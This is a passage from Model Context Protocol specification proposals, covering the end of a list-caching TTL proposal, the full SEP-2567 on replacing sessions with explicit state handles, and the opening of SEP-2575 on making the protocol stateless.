* If a cursor becomes invalid (e.g., the server returns an error for a previously valid cursor), the client SHOULD discard all cached pages and re-fetch from the beginning.
Servers MUST apply the same cacheScope to all response pages for a given list request. For example, if the first page of a `tools/list` response has `cacheScope: "private"`, all subsequent pages for that request MUST also be treated as `"private"`.
### Error handling
* For backwards compatibility, If `ttlMs` is missing, clients SHOULD assume a default `ttlMs` of `0` (immediately stale) and rely on their own caching heuristics or notifications.
* If `ttlMs` is present but is a negative integer, the client SHOULD ignore it and behave as if it were 0 (immediately stale).
## Rationale
### Why not replace `list_changed` notifications?
Notifications provide immediate invalidation which is valuable for long-lived connections. TTL provides a complementary mechanism optimized for stateless transports and for reducing unnecessary polling. Both mechanisms serve different use cases and coexist naturally.
### Why integer milliseconds for TTL?
We chose integer milliseconds over seconds as we want one unit for ttl across the MCP protocol. Tasks has uses cases for sub-second TTLs, and using milliseconds allows for a consistent representation across all TTLs in MCP.
Many existing systems use integer seconds for TTLs, but some (e.g., gRPC retry pushback) use milliseconds. The key is to choose a single, consistent unit for all TTLs in MCP. Integer milliseconds provides the necessary precision while remaining simple to implement and understand.
| System | Mechanism | Notes |
| ----------------------------- | --------------------- | ---------------------------------------------------------------- |
| HTTP `Cache-Control: max-age` | Integer seconds | The most widely deployed freshness hint in web infrastructure |
| DNS TTL | Integer seconds | Controls how long resolvers cache DNS records |
| GraphQL `@cacheControl` | `maxAge` integer secs | Per-field cache hints in GraphQL responses |
| gRPC `grpc-retry-pushback-ms` | Milliseconds | Server-provided retry hint (different use case, similar pattern) |
### Why not use HTTP caching directly?
MCP is transport-agnostic. While HTTP-based transports could theoretically use `Cache-Control` headers, MCP also operates over stdio, and supports pluggable transports where HTTP headers may not be available. Embedding the TTL in the JSON response body ensures it works uniformly across all transports.
## Backward Compatibility
* Existing servers that do not provide it continue to work unchanged. If a `ttlMs` field is missing, clients SHOULD assume a default ttlMs of 0 (immediately stale) and rely on their own caching heuristics or notifications, which is the current behavior.
* Existing clients that do not understand the field will ignore it, as MCP result objects permit additional properties via `[key: string]: unknown` on the `Result` base type.
* `cacheScope` is required because there is no safe default for older servers. The server must explicitly declare the intended cache scope to prevent unintended caching of user-specific data.
* No existing fields or behaviors are modified or removed.
* No capability negotiation is required.
* SDK Maintainers can choose to add defaults for ttl and cacheScope in their SDKs to simplify adoption, but this is not required for compliance.
## Reference Implementation
*No reference implementation yet.*
***
## Security Implications
A misconfigured or malicious serer could set an excessively long TTL, causing clients to cache stale data for longer than desired. However, since the TTL is a hint and clients can choose to ignore it or re-fetch if they suspect changes, the security risk is minimal. Clients should be designed to handle unexpected TTL values gracefully.
# SEP-2567: Sessionless MCP via Explicit State Handles
Source: https://modelcontextprotocol.io/seps/2567-sessionless-mcp
Sessionless MCP via Explicit State Handles
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2567 |
| **Title** | Sessionless MCP via Explicit State Handles |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-03-11 |
| **Author(s)** | Peter Alexander ([@pja-ant](https://github.com/pja-ant)) |
| **Sponsor** | Peter Alexander ([@pja-ant](https://github.com/pja-ant)) |
| **PR** | [#2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567) |
***
## Abstract
This proposal removes the protocol-level session concept from MCP, replacing implicit session-scoped state with explicit, server-minted state handles that the model carries and threads through subsequent calls. [SEP-2575] removes the `initialize` handshake and carries protocol version and capabilities per-request; this proposal is the complementary change that removes sessions and the `Mcp-Session-Id` header. Together they make MCP stateless at the protocol layer.
After more than a year in the spec, sessions have not converged on a consistent meaning across clients: some scope them per tool call, some per application launch, some per page load, and almost none resume them. A server author cannot predict what scope or lifetime a session will have when their server is connected to an arbitrary client, which has made the session unreliable as a container for application state. This proposal holds that application state can be served by explicit identifiers, and that the session abstraction adds constraints (fixed cardinality, undefined lifetime, uncacheable list endpoints across session boundaries) without corresponding benefit.
Under this proposal, a server that currently scopes a shopping cart (for example) to the session instead exposes a tool `create_basket()` that returns a `basket_id` and threads that ID through subsequent tool calls, e.g. `add_item(basket_id, ...)`. The model decides what is shared and what is isolated; list endpoints become cacheable across what used to be session boundaries; and agent orchestrators can freely share or not share application state as needed. Explicit state handles are not a new protocol construct — there is no schema or wire format for them. They are a tool-design pattern; the protocol change is the removal of sessions, which leaves handles as the way to express cross-call state.
[SEP-2575]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575
[SEP-2322]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322
[SEP-2549]: https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549
## Motivation
### What sessions scope today
The current spec is imprecise about which behaviors are session-bound, but in practice five categories of things attach to a session's lifetime:
1. **Negotiated capabilities and protocol version.** The result of `initialize` — which protocol version is in use and which optional capabilities each side supports — is established once per session and assumed for its duration. [SEP-2575] resolves this by removing `initialize` and carrying version/capability information per-request, so this proposal treats it as already addressed.
2. **Elicitation and sampling intermediate state.** When a tool call triggers an `elicitation/create` or `sampling/createMessage` round-trip, the server has to correlate the eventual response with the original in-flight tool call — state that today lives implicitly in the session. [SEP-2322] (Multi Round-Trip Requests) resolves this by carrying the correlation state explicitly through the request/response cycle, so this proposal treats it as already addressed.
3. **Application state.** The canonical example is a shopping cart: `add_item()`, `add_item()`, `checkout()`, with the cart existing implicitly per-session. This generalizes to any stateful workflow — a Playwright browser instance, a database transaction, an open file descriptor.
4. **Mutable list endpoints.** `tools/list` (and `resources/list`, `prompts/list`) can legally return different results over a session's lifetime. For example, a database server could expose a `connect_database` tool that, once called, makes `query` and `list_tables` appear in subsequent `tools/list` results.
5. **Resource subscriptions.** Subscription lifetime is tied to session lifetime. ([SEP-2575] introduces `messages/listen` as the delivery channel for server-to-client notifications; subscription lifetime under that model is not re-examined here.)
With (1), (2), and (5) handled by other SEPs, this proposal addresses (3) and (4).
### Problems with session scoping
The issues below apply whether sessions are mandatory (the current spec) or made optional.
#### Session lifetime is undefined, and servers can't design around it
The spec does not say when a session begins or ends, because it depends on the host application. In practice, deployed clients vary widely and few scope sessions to a conversation: ChatGPT creates a fresh session for every individual tool call, and Claude.ai did the same until recently;[^per-call] most desktop and IDE clients create one at application launch and keep it for the process lifetime; web clients typically create one per page load. Almost no clients resume a prior session after a disconnect or restart, and on the server side the reference TypeScript SDK provides no public API for reconstructing a session on a different node, so multi-node deployments cannot honor resumption even when a client attempts it.[^ts-sdk-resume] A subagent might share its parent's session or get its own — there is no convention.
[^per-call]: [microsoft/playwright-mcp#1045](https://github.com/microsoft/playwright-mcp/issues/1045), Sep 2025 — server author reports both ChatGPT and Claude.ai closing the session after each tool call, dropping browser state; ["Connector tool calls generating fresh MCP session each invocation"](https://community.openai.com/t/connector-tool-calls-generating-fresh-mcp-session-each-invocation/1364975), OpenAI Developer Community, Nov 2025.
[^ts-sdk-resume]: [modelcontextprotocol/typescript-sdk#1658](https://github.com/modelcontextprotocol/typescript-sdk/issues/1658), Mar 2026 — `StreamableHTTPServerTransport` stores session state in private instance fields with no API to rehydrate from external storage.
This matters because server authors are the ones deciding what to scope to the session, and they need to know what a session corresponds to in order to do that correctly. A Playwright server that ties a browser instance to the session needs to know whether that means one user turn, one agent process, or one long-lived chat. The spec does not specify this and different hosts give different answers, so the server is designing against an abstraction whose semantics it does not control.
The practical consequence is that session-scoped application state often does not survive. Against a per-tool-call client it is destroyed before the next call; against a per-app-launch client it is shared across every conversation in the window and then lost on restart; against any client that does not resume, it is gone when the app restarts. Servers that appear to be using session state successfully are usually stdio servers relying on process lifetime, which is a property of the transport rather than the protocol.
#### List endpoints cannot be cached across sessions
Because `tools/list` may be session-dependent, a client cannot assume a result fetched in one session is valid in the next. Every new session must re-fetch, even when the server's tool set is fixed at build time and never changes, which is the common case.
The Python SDK's own design issue for client-side list caching lists "what is the cache key — per-session or per-server-URL?" as an open question,[^py-sdk-cache] and gateway implementers have shipped per-session caching specifically because they could not assume cross-session validity from the spec.[^agentgateway-cache] Every list endpoint must be treated as potentially session-scoped, so each must be re-fetched per session to be safe.
[^py-sdk-cache]: [modelcontextprotocol/python-sdk#2108](https://github.com/modelcontextprotocol/python-sdk/issues/2108), Feb 2026.
[^agentgateway-cache]: [agentgateway/agentgateway#1510](https://github.com/agentgateway/agentgateway/issues/1510), Apr 2026.
For hosts that regularly spawn subagents, this is a multiplier on the hot path. The possibility that a server is session-scoped forces `O(subagents × servers)` calls to `tools/list`: every subagent, for every server, every time, even if the underlying tool set has not changed since the orchestrator first connected. The client cannot skip the call because it cannot know in advance which servers are session-scoped. For an orchestrator spawning many short-lived subagents, this overhead can exceed the protocol traffic of the actual tool calls. Under this proposal the same workload is `O(servers)`: the orchestrator fetches each list once and every subagent reuses the cached result.
If list endpoints were a function only of the server deployment and the authenticated principal, clients could cache them and invalidate on an explicit signal. [SEP-2549] specifies such a signal (a server-advertised TTL plus `notifications/*/list_changed`), but its caching model is only sound if the list does not also vary per session. Removing sessions makes that model safe; a subagent can then inherit its parent's cached lists at zero cost.
#### Cardinality is fixed at one per session
Session state has a cardinality of exactly one per session. The model gets one cart, one browser, one of whatever the server scopes to the session; it cannot have two, and it cannot have zero.
This is a problem when different pieces of state need different scopes. Consider an orchestrator that spawns several subagents to independently research products to buy. The subagents should add to the same shopping cart (they are collaborating on one order) but each needs its own browser state (they are browsing different sites in parallel).
No session boundary satisfies both:
| Session model | Cart (want: shared) | Browser (want: isolated) |
| ------------------------ | :-----------------: | :----------------------: |
| Subagents share parent's | ✓ shared | ✗ shared (clobbers) |
| Subagents get their own | ✗ isolated | ✓ isolated |
With explicit IDs the orchestrator calls `create_basket()` once, passes the resulting `basket_id` to each subagent, and each subagent separately calls `create_browser()` for its own `browser_id`. The model decides what is shared and what is isolated per piece of state, rather than having one scope imposed on everything.
The same lack of an identifier also means session state is not addressable from outside the session that created it. A cart created in one chat is invisible to another chat; if a user wants to resume work in a new conversation, hand something off to a different agent, or share state with a colleague, the session model provides nothing to refer to it by. An explicit `basket_id` can be passed to any of those.
## Specification
### Summary of changes
1. **Remove the session concept from the protocol.** The `Mcp-Session-Id` header is removed and the spec language describing session lifecycle and session-scoped behavior is deleted. The protocol is sessionless at every layer. ([SEP-2575] removes the `initialize` handshake but explicitly defers session removal to this proposal.)
2. **List endpoints are session-independent.** With no session, the results of `tools/list`, `resources/list`, and `prompts/list` have no per-session or per-connection scope to depend on. Lists can still change for other reasons (server deployment, auth changes); caching and invalidation mechanics for those are specified separately in [SEP-2549].
3. **Stateful workflows use explicit handles.** With sessions gone, servers that need to maintain state across tool calls do so by returning an identifier from a creation tool and accepting it as a parameter on subsequent calls.
That third point is **not a protocol change**. There is no `handles/*` method, no handle type in the schema, no wire-level concept of a handle at all. From the protocol's perspective a handle is a string in a tool result and a string in a tool argument, indistinguishable from any other tool data. "Explicit state handles" is a tool-design pattern that the spec documents and recommends — in the same way it might document pagination or error-message conventions — not something it implements. The normative content of this SEP is the removal in (1); (2) follows from it, and (3) is the guidance that fills the gap.
### Explicit state handles
#### Pattern
Where a server would previously have relied on implicit session-scoped state — `add_item` calls operating on a per-session cart — it instead exposes an explicit creation tool that returns a handle:
```jsonc theme={null}
// → tools/call
{ "name": "create_basket", "arguments": {} }
// ← result
{ "content": [{ "type": "text", "text": "Created basket bsk_a1b2c3" }],
"structuredContent": { "basket_id": "bsk_a1b2c3" } }
```
The model then threads that handle through subsequent calls as an ordinary argument:
```jsonc theme={null}
// → tools/call
{ "name": "add_item",
"arguments": { "basket_id": "bsk_a1b2c3", "sku": "shoes" } }
// ← result
{ "content": [{ "type": "text", "text": "Added shoes to bsk_a1b2c3 (1 item)" }] }
// → tools/call
{ "name": "checkout",
"arguments": { "basket_id": "bsk_a1b2c3" } }
```
Nothing here is a protocol extension: `basket_id` is an ordinary string field in `structuredContent` and an ordinary string argument to subsequent tools. This pattern is already the norm in widely-deployed remote MCP servers that manage durable resources:
| Server (official, remote) | Create tool → returned ID | Operate tools taking that ID |
| ----------------------------------------------------------- | --------------------------------- | ---------------------------------------------------------------- |
| [Linear](https://linear.app/docs/mcp) | `create_issue` → issue id | `get_issue`, `update_issue`, `create_comment` |
| [Notion](https://developers.notion.com/docs/mcp) | `notion-create-pages` → page id | `notion-update-page`, `notion-move-pages` |
| [GitHub](https://github.com/github/github-mcp-server#tools) | `create_pull_request` → PR number | `pull_request_read`, `update_pull_request`, `merge_pull_request` |
| [Stripe](https://docs.stripe.com/mcp) | `create_customer` → customer id | `create_invoice`, `list_subscriptions` |
The approach can be adopted for less-persistent objects (a browser context, an in-progress cart) by giving the created object a limited lifetime, and/or limiting its discoverability to the principal that created it. The server owns the state, the client holds a name for it, and authorization is checked on every call.
#### Guidance for servers
None of the following is normative. Handles are a tool-design pattern, not a protocol feature, and servers are free to shape them however fits their domain. The pattern works best when:
* **Handles are opaque.** A handle that encodes internal structure (`cart_user42_2026-03-11`) invites clients to parse it or models to guess it; an opaque handle such as `bsk_a1b2c3` does not.
* **Possession is not authorization (where auth exists).** For authenticated servers, validate `(handle, auth_context)` on every call; handles will end up in chat logs, copy-paste buffers, and subagent prompts. For unauthenticated servers, where the handle is necessarily a bearer token, generate it with at least 128 bits of cryptographically secure entropy and bound its lifetime. See [Security Implications](#security-implications).
* **Durability is documented in the tool description.** Handles outlive connections by design, so "the state lasts until the connection closes" is no longer applicable. Put the policy in the `create_*` tool's description — "returns a basket\_id; baskets expire after 24h idle" — so it is visible to the model when it decides to create state. A policy only in server documentation is not visible to the model.
* **Expired handles return useful errors.** When a tool receives a handle for state that has expired or been destroyed, the error should say so — "basket `bsk_a1b2c3` has expired" rather than "invalid argument". A clear expiry error lets the model recover by calling `create_*` again; an opaque error typically leads to retries or failure.
* **Creation takes parameters.** `create_context(cluster="staging")` is preferable to `create_context()` followed by `set_cluster(ctx, "staging")`: one round-trip instead of two, and the state cannot exist half-configured.
* **Cleanup is available.** A `destroy_*(handle)` tool lets models release resources. A `list_*()` tool lets a model recover after losing track of what it created. Neither is required.
#### Guidance for clients
From the client's perspective, a handle is an ordinary string in a tool result. The main client responsibility is ensuring that string survives context compaction; if the conversation is summarized and the handle is in the discarded portion, the state is orphaned. Clients that track tool-call results across compaction boundaries handle this already.
### Session-independent list endpoints
With sessions removed, list endpoints no longer have a session to vary against. This is the only constraint this SEP places on `tools/list`, `resources/list`, and `prompts/list`: there is no longer a per-session or per-connection scope for their results to depend on. This does not preclude varying the list by the authorization presented on the request: credentials are carried on each request, so a server returning different tool sets to different principals or scopes is relying on per-request input, not connection state. Lists can also still change over time for other reasons — a server deploys a new version, a user's plan or granted scopes change — and this SEP does not enumerate or restrict those.
How clients learn that a cached list has gone stale is the subject of [SEP-2549], which defines a server-advertised TTL on list responses and the interaction with `notifications/*/list_changed`. The two SEPs are complementary: this one removes the session as a source of variation, so there is a stable thing to cache; [SEP-2549] specifies how long to cache it and when to invalidate.
One consequence of the constraint above is that servers can no longer mutate list results as a side effect of other requests; the pattern from the Motivation — where calling `connect_database()` makes `query` and `list_tables` appear in subsequent `tools/list` results — is no longer permitted. For the same effect, the server exposes `query` and `list_tables` unconditionally at list time and has them take a `connection_id` argument returned by `connect_database()`. A `query` call without a valid `connection_id` fails with an error directing the model to call `connect_database()` first; the dependency is expressed in the tool's input schema and description rather than in the list result.
### Consequential spec edits
Beyond removing the §Session Management section itself, several other places in the current spec define behavior in terms of session scope and need re-scoping:
* **JSON-RPC request ID uniqueness.** The spec currently requires that a request `id` "MUST NOT have been previously used by the requestor within the same session." The purpose of `id` is for the sender to correlate an incoming response with the request that produced it; the receiver only echoes it. With sessions removed, the constraint is re-scoped accordingly: a sender MUST NOT issue a request whose `id` matches that of another request it has sent and not yet received a response for. This is transport-agnostic, sufficient for correlation under every transport, and is what the TypeScript and Python SDKs already do via a monotonically increasing counter per client object. ([JSON-RPC 2.0 §4](https://www.jsonrpc.org/specification#request_object) itself imposes no uniqueness requirement — it only requires the receiver to echo the `id` — so this remains an MCP-level constraint.)
* **SSE event ID uniqueness.** The spec currently scopes SSE event IDs as "globally unique across all streams within that session." With sessions removed, the constraint is simply that the ID is globally unique across all streams the server manages, so that a `Last-Event-ID` resolves to a single stream. The existing guidance that event IDs encode the originating stream already implies this.
* **Pagination cursor validity.** The spec currently advises clients not to "persist cursors across sessions." With sessions removed, this advice disappears. Cursor stability and snapshot consistency are outside the scope of this proposal.
* **List-endpoint variability.** The `tools/list`, `resources/list`, and `prompts/list` pages each say results "MAY change over the lifetime of the connection." These are re-scoped per [§Session-independent list endpoints](#session-independent-list-endpoints): results MAY change over time but MUST NOT vary per-connection or as a side effect of other requests on the connection.
* **Wording.** A handful of phrases that use "session" descriptively — "stateful session protocol" in the architecture overview, "available during the session" in capability negotiation, "same logical session" in authorization, the elicitation prohibition on associating state "with session IDs alone," and similar — are reworded or removed. These carry no semantic change beyond the session removal itself.
## Rationale
### Why remove sessions rather than just default them off?
[SEP-2575] already addresses making MCP work behind load balancers and without sticky routing by removing the `initialize` handshake. The reasons for also removing sessions, rather than retaining them as an opt-in capability, are:
* **Opt-in sessions still prevent list caching.** A client cannot cache `tools/list` across session boundaries unless it knows the server does not opt into session-scoped mutation, and it cannot know that in advance. The client therefore re-fetches per session per server even though few servers opt in. The `O(subagents × servers)` cost from the Motivation section is caused by sessions being possible, not by sessions being used, so making them optional does not remove it.
* **The primitive influences server design.** Offering session-scoped state in the spec leads server authors to use it for workflows that would be better served by explicit IDs.
* **Fewer primitives reduce implementation surface.** Every protocol concept must be implemented by SDK authors, documented, and learned by new users.
### Expressiveness
A session provides exactly one scope per connection. Explicit IDs provide as many scopes as the model creates, and each can be shared or isolated independently. Anything expressible with a session is expressible with a single ID the model creates at the start of the conversation; the converse does not hold.
### Resumption
Because handles appear in tool results, they are part of the chat transcript. Any client that persists its chats — which is most of them — therefore persists the handles automatically. Reopening a conversation after an app restart, a page reload, or on a different device puts the handle back in front of the model with no additional resumption machinery, and this behavior is consistent across clients. Session-based state, by contrast, requires the client to persist and resend `Mcp-Session-Id` out of band, which (as covered in the Motivation) almost no clients do.
### Anticipated objections
#### Garbage collection
Sessions provide a lifecycle signal — when the session ends, state is freed. Without it, the model might forget to call `destroy_basket()`, and state leaks.
However, sessions do not deliver this reliably in practice. As covered in the Motivation, real clients either never end the session (per-app-launch), end it constantly (per-tool-call), or end it at moments uncorrelated with the conversation (page reload, network blip). Stateless HTTP servers behind load balancers never see a connection-close. Servers already rely on TTL-based expiry today; the session boundary is not what performs cleanup.
Explicit IDs with a documented durability policy ("baskets expire after 24h idle") is the same mechanism, made explicit.
#### Models have to carry the IDs forward
With implicit session state, the server tracks the identifier; with explicit IDs, the model is responsible for threading `basket_abc123` through every relevant call. The failure modes are hallucinating a slightly-wrong ID, or the ID falling out of context when the conversation is compacted.
Models already carry opaque identifiers through conversations routinely — file paths, URLs, commit hashes, PR numbers, UUIDs returned from prior tool calls — and current models do this reliably. Compaction is the harder case, but it affects any long-horizon state: if the compactor drops live tool-call results, the model loses track of what is in the session-scoped cart as well, not just the cart's ID.
#### IDs in chat history
A `basket_id` that can be pasted anywhere could become an unauthenticated capability in the user's chat log.
For authenticated servers, the ID should be a name, with the server checking `(id, auth_context)` on every call. Google Doc IDs sit in URLs and browser history; access is controlled by ACL, not ID secrecy. The same applies here.
For servers without authentication, the ID is necessarily a bearer token — possession is the only thing the server can check. In that case the handle should follow standard practice for unguessable capability tokens: generated from a cryptographically secure random source with at least 128 bits of entropy (e.g. UUIDv4, or 22+ characters of URL-safe base64), never derived from predictable inputs, and given a bounded lifetime. This is the same posture as other ephemeral public IDs in common use — "anyone with the link" share URLs, password-reset tokens, Stripe Checkout session IDs — and carries the same tradeoff: convenient, but anyone who obtains the token has access for its lifetime.
#### Breaking change
Sessions are in the spec today; removing them breaks anyone relying on them.
An automated survey of a 1000-repo random sample of open source MCP servers (classified by per-repo LLM analysis) found:
| Category | Share | Migration |
| ------------------------------------------------------------- | ----: | ---------------------------------------------------- |
| No application-level reference to MCP session ID | 90.0% | None |
| `Map` routing (TS SDK boilerplate) | 3.5% | Removed by a sessionless SDK transport |
| Transport setup only (`sessionIdGenerator`, never read) | 2.8% | Delete one constructor option |
| **Session-keyed application state** | 2.5% | Migrate to explicit handles or auth principal |
| **Proxy / gateway sticky routing** | 0.7% | Needs designed replacement |
| **Auth binding** (JWT claims, PKCE verifier keyed on session) | 0.5% | Replace with server-generated nonce or token subject |
The bolded rows are the repos that use the session ID for application semantics. The hardest-hit category — gateways that spawn one upstream per session — needs a designed replacement rather than a mechanical edit; see [Backward Compatibility](#backward-compatibility).
## Backward Compatibility
This is a **breaking change** for servers that rely on protocol-level session state. The migration path depends on server category:
**Stdio servers using process-lifetime state.** These are the most common stateful servers today. Mechanically they are not broken by this proposal in their default deployment — the process lifetime still exists, and a server that keeps a single in-memory browser instance per process continues to function with a stdio client that spawns one process. However, such servers SHOULD NOT rely on process-lifetime state and SHOULD migrate to explicit handles. Process lifetime has the same undefined-scope problem this SEP removes for HTTP (whether the process corresponds to one conversation, one application launch, or something else is up to the host), and a server that depends on it cannot offer equivalent behavior over HTTP, where there is no process per client. Stdio servers never had `Mcp-Session-Id`, so the header removal itself does not affect them.
**HTTP servers using `Mcp-Session-Id`.** These are less common and must migrate to explicit handles. The migration is mechanical: replace the session-scoped state map with a handle-keyed state map, add a `create_*` tool, add the handle as a parameter to stateful tools.
**Servers using session ID as a telemetry key.** Some servers tag traces, logs, or rate-limit buckets with the session ID to correlate activity within a session. This already worked inconsistently across clients — against per-tool-call clients every event lands in its own bucket, and against clients that don't resume the correlation breaks at every restart. These use cases need to move to a different scoping mechanism, typically the authenticated principal (bearer token subject, API key) or a request-level correlation ID.
**Proxies and gateways using session ID for sticky routing.** Gateways that route by `Mcp-Session-Id` lose their routing key — but they only needed one because their upstreams were stateful. If the upstream is stateless (or migrates to explicit handles, where the state key is in the tool arguments and any replica can serve it from shared storage), the gateway needs no sticky routing at all. The residual case is gateways that bridge HTTP to stdio by spawning one subprocess per session; those need a different correlation key, which is a transport-layer concern (route by authenticated principal, or a cookie / gateway-issued header) rather than something this SEP defines.
**Servers binding auth artifacts to session ID.** A small number of servers store OAuth PKCE verifiers, session→user pinning maps, or JWT claims keyed on the session ID. In the PKCE case the server is already passing a correlation value through the OAuth `state` parameter (the browser callback is not an MCP request and never carried `Mcp-Session-Id`), so the change is to put a server-generated nonce in `state` instead of the session ID. Session→user pinning was a defense against the session-routing/auth decoupling described in [Security Implications](#security-implications) and is not needed once every request is independently authenticated. The migration is mostly mechanical, though worth a review since auth code is involved.
**Clients.** Clients become simpler: they no longer track or resend session identifiers, or need to determine whether a given server is stateful. List-endpoint caching becomes safe.
Rollout is a clean break: sessions are removed in the next spec version, with no deprecation window. Servers that currently rely on session-scoped state stay on the current protocol version until they have migrated to explicit handles. Protocol version negotiation already handles mixed-version deployments — a client that supports both versions speaks the old protocol to an unmigrated server and the new one to everyone else. This avoids shipping a version where clients support both modes simultaneously, which would prevent the caching benefit (a client cannot cache list endpoints if any connected server might be session-scoped).
## Security Implications
### Handle exposure
The main security consideration introduced by this SEP is that handles will end up in places session IDs did not — chat logs, subagent prompts, copy-paste buffers, potentially other users' screens.
This is a change in exposure surface, not a new class of vulnerability. Session IDs are already capability-bearing in practice: the Python SDK's stateful session manager, for example, routes by `Mcp-Session-Id` alone without verifying that the authenticated identity on the request matches the one that created the session, so a leaked session ID allows hijack by any other authenticated principal.[^py-sdk-hijack] The "validate `(id, auth_context)` on every call" guidance below applies equally to today's session IDs and to explicit handles; this SEP makes the requirement more visible because handles are more visible.
[^py-sdk-hijack]: [modelcontextprotocol/python-sdk#2100](https://github.com/modelcontextprotocol/python-sdk/issues/2100).
For authenticated servers, the recommended posture is the same one Google Doc IDs and GitHub PR numbers take: the ID identifies the resource, and the auth context on the request determines access. Servers that validate `(handle, auth_context)` on every call are unaffected by handle exposure.
For unauthenticated servers there is no auth context to check, so the handle is a capability token. These should be generated with at least 128 bits of cryptographically secure entropy, never derived from predictable inputs, and given a bounded lifetime — the same practice as "anyone with the link" share URLs or password-reset tokens. Exposure of such a handle grants access for its lifetime; servers should size that lifetime accordingly.
This is guidance, not a protocol requirement, since the protocol has no handle concept to enforce against.
## Reference Implementation
All official SDKs except PHP already provide a stateless mode, implemented as not generating a session ID (e.g. `sessionIdGenerator: undefined` in the TypeScript SDK, `stateless_http=True` in the Python SDK). This SEP makes that mode the only option for servers speaking the new protocol version. SDKs that support multiple protocol versions retain the session-ID-generating code path for older versions; the change is that it is no longer reachable when the negotiated protocol version is the one this SEP introduces.
## Future Work
This SEP deliberately does not introduce a protocol-level concept of a handle: from the wire's perspective `basket_id` is an ordinary string. A consequence is that nothing marks `basket_id` as a state handle to the client or model — the relationship between `create_basket`'s output and `add_item`'s input is inferred from naming and tool descriptions, not declared.
A follow-up proposal could make that relationship explicit, for example via shared JSON Schema `$defs` referenced across a server's tool input and output schemas, or via a tool annotation that marks a result field as a handle. That would let orchestrators identify which values are live state (for compaction, hand-off, or cleanup purposes) without parsing tool descriptions. It is left out of scope here to keep this SEP to the minimum needed to remove sessions.
# SEP-2575: Make MCP Stateless
Source: https://modelcontextprotocol.io/seps/2575-stateless-mcp
Make MCP Stateless
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **SEP** | 2575 |
| **Title** | Make MCP Stateless |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-06-18 |
| **Author(s)** | Jonathan Hefner ([@jonathanhefner](https://github.com/jonathanhefner)), Mark Roth ([@markdroth](https://github.com/markdroth)), Shaun Smith ([@evalstate](https://github.com/evalstate)), Harvey Tuch ([@htuch](https://github.com/htuch)), Kurtis Van Gent ([@kurtisvg](https://github.com/kurtisvg)) |
| **Sponsor** | Kurtis Van Gent ([@kurtisvg](https://github.com/kurtisvg)) |
| **PR** | [#2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575) |
***
## Abstract
A truly stateless protocol, where every request is self-contained and can be
understood in isolation, is highly desirable for its inherent simplicity,
scalability, and reliability. The current Model Context Protocol (MCP) is not
stateless by default. The specification requires an initialization handshake
that establishes a session state between the client and server, which persists
for the duration of the connection.
This inherent statefulness makes it difficult to run MCP at scale. Placing an
MCP server behind a standard load balancer, for example, is challenging because
a client's session is coupled to the specific server instance holding its state.
This proposal outlines a series of changes to **enable stateless MCP as the
default**, embracing a "pay as you go" model for protocol complexity and state.
Under this model, we provide simple, stateless features by default and only
introduce the overhead of stateful, long-lived connections for cases where that
functionality is actually required.
Specifically, this SEP proposes removing the state-establishing initialization
handshake and replacing it with discrete, stateless alternatives. This initial
step allows each request to be processed independently, simplifying server-side
logic and paving the way for robust, scalable deployments.
## Motivation
The Model Context Protocol (MCP) specification currently mandates a stateful
initialization handshake. This design choice creates significant challenges for
scalability, reliability, and implementation simplicity. This SEP is motivated
by the need to address these shortcomings.
### The Problem with Statefulness
The core issue is that a server must retain session state from previous requests
to understand subsequent ones. This is in direct opposition to the design of
modern, cloud-native systems which favor stateless services for their resilience
and scalability.
1. **Impediment to Scalability:** The most critical issue is the difficulty of
load balancing stateful MCP. A simple stateless load balancer (e.g., L4/L7
round-robin) cannot be used, as it would route a client's requests to
different backend servers, none of which would have the correct session
state. Operators are forced to implement complex and fragile solutions like
sticky sessions, which bind a client to a specific server. This complicates
infrastructure, can lead to uneven load distribution, and makes horizontally
scaling the service non-trivial.
2. **Poor Resilience and Fault Tolerance:** In a stateful model, if the specific
server instance handling a client session fails, that session state is lost.
The client must detect the connection failure, re-establish a connection
(likely to a new server instance via the load balancer), and perform the
entire initialization handshake again. This process is disruptive and
inefficient, adding complexity around "resumability".
3. **Increased Implementation Complexity:** The current model imposes a
significant burden on developers.
* **Server-side:** Developers must implement logic to create, manage, and
eventually garbage-collect per-client session state. This is a common
source of bugs and memory leaks.
* **Client-side:** Developers must write complex code to manage a persistent
connection and handle the inevitable network failures and reconnections,
including the logic to resynchronize state after a disconnect.
## Design Principles
This proposal establishes a "pay as you go" model for protocol complexity,
guided by the following principles in order of preference:
1. **Prioritize Stateless-ness:** Whenever possible, a request must be
self-contained, providing all information the server needs to process it
without relying on state from previous requests.
2. **Prefer State References:** If a fully stateless exchange is not practical,
references to state should be passed in every request.
3. **Treat Statefulness as a Last Resort:** The complexity of stateful logic and
long-lived streaming connections should only be accepted when no simpler
alternative exists to solve a critical use case.
### Transport Consistency
It is critical that these stateless principles are applied consistently across
all transports. Keeping the `stdio` and `http` implementations in sync ensures a
**unified developer experience**, allowing the core protocol semantics to be
learned once and applied everywhere. This consistency simplifies the creation of
transport-agnostic libraries and tooling, and prevents protocol fragmentation
where different transports behave in fundamentally different ways. A single,
coherent protocol model is essential for a healthy ecosystem.
## Specification
### Overview
This specification fundamentally refactors the MCP interaction model to be
**stateless-first**. Currently, MCP requires a mandatory 3-way initialization
handshake before any resources can be exchanged. This handshake negotiates and
establishes several key pieces of information:
1. MCP Protocol Version
2. Server Capabilities and `serverInfo`
3. Client Capabilities and `clientInfo`
The requirement of this initialization handshake **enforces the establishment of
a state** that is expected to persist for subsequent communication between
client and server. Furthermore, by bundling these negotiations into a single
initialization phase, the specification creates an implied link between them,
particularly between the exchange of capabilities and a mandatory connection
lifecycle.
This proposal is to **remove the initialization handshake** and "unbundle" its
functions into discrete, stateless components. We will provide new, more clearly
